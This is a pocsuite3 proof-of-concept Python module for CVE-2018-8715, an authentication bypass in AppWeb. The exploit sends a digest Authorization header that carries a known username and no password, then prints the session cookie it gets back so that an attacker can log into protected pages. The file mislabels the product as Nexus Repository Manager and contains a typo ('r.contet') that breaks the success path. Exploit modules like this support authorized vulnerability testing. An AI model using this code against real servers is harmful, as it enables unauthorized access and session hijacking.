"""

If you have issues about development, please read:

https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md

for more about information, plz visit http://pocsuite.org

"""



from collections import OrderedDict



from pocsuite3.api import Output

from pocsuite3.api import POCBase

from pocsuite3.api import requests

from pocsuite3.api import OptString

from pocsuite3.api import register_poc

from pocsuite3.api import POC_CATEGORY





class DemoPOC(POCBase):

    vulID = '97809'  # ssvid

    version = '1.0'

    author = ['CTCcaozhe']

    vulDate = '2019-12-26'

    createDate = '2020-06-03'

    updateDate = '2020-06-03'

    references = ['https://github.com/vulhub/vulhub/tree/master/appweb/CVE-2018-8715']

    name = 'AppWeb认证绕过漏洞（CVE-2018-8715）'

    appPowerLink = 'https://www.embedthis.com/'

    appName = 'Nexus Repository Manager'

    appVersion = '7.0.3之前'

    vulType = 'login-bypass'

    desc = '''

        利用该漏洞需要知道一个已存在的用户名，当前环境下用户名为admin。

        构造头Authorization: Digest username=admin

        没有传入密码字段，直接返回了200，且包含一个session

        设置这个session到浏览器，即可正常访问需要认证的页面

        '''

    samples = ['http://192.168.34.137:8081/']

    install_requires = []

    category = POC_CATEGORY.EXPLOITS.WEBAPP

    protocol = POC_CATEGORY.PROTOCOL.HTTP



    def _options(self):

        o = OrderedDict()

        o["user"] = OptString('admin', description='这个poc需要已知的用户名', require=True)

        return o



    def _verify(self):

        result = {}

        get_headers = {

            'Accept-Encoding': 'gzip,deflate',

            'Content-Type': 'application/x-www-form-urlencoded',

            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',

            'Connection':'close',

            'Authorization':'Digest username = '+self.get_option("user")

        }

        vul_url = self.url

        if vul_url.endswith('/'):

            vul_url = vul_url[:-1]



        if "http://" in vul_url:

            host = vul_url[7:]

        elif "https://" in vul_url:

            host = vul_url[8:]

        else:

            host = vul_url



        get_headers['Host'] = host



        r = requests.get(url=vul_url,headers=get_headers)

        # print(r.cookies)

        print("使用Set-Cookie值中的session：导入浏览器即可登入:\n"+r.text)

        if r.status_code == 200:

            result['VerifyInfo'] = {}

            result['VerifyInfo']['URL'] = vul_url

            result['VerifyInfo']['content'] = r.contet



        return self.parse_output(result)



    def _attack(self):

        return self._verify()



    def parse_output(self, result):

        output = Output(self)

        if result:

            output.success(result)

        else:

            output.fail('target is not vulnerable')

        return output





register_poc(DemoPOC)